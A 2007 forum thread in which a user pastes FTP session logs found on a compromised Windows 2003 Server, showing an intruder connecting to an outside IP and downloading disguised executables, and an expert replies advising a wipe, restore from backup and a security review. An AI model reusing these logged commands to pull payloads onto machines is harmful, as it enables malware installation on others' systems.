|
Posted by Malke on March 2, 2007, 1:33 pm
If you were Registered and logged in, you could reply and use other advanced thread options
JN wrote:
> On the screen of my windows 2003 Server, I found two Dos screens with the
> information below:
>
> It looks like somebody got access to it and downloaded some files. I have
> unplugged that server from the internet.
>
> What should I do next?
>
> Thanks.
>
> JN
>
> ftp> open 70.52.54.95 13190
>
> Connected to 70.52.54.95.
>
> 220 ROO HoneyPot POSTEDIN
>
> ftp> user 1 1
>
> 230 Logged in
>
> ftp> get wmupdate80585.exe
>
> 200 PORT Command success
>
> 150 Opening BINARY mode connection
>
>
>
> ftp> open 70.52.54.95 13190
>
> Connected to 70.52.54.95.
>
> 220 ROO HoneyPot POSTEDIN
>
> ftp> user 1 1
>
> 331 Pass required
>
> 230 Logged in
>
> ftp> get wmupdat48382.exe
>
> 200 PORT Command success
>
> 150 Opening BINARY mode connection
What should you do next? You want the real, honest answer? Flatten that
server and apply your backup image. At the same time, you need to figure
out where your security fell down and fix that.
Malke
--
Elephant Boy Computers
www.elephantboycomputers.com
"Don't Panic!"
MS-MVP Windows - Shell/User
| 
XML site map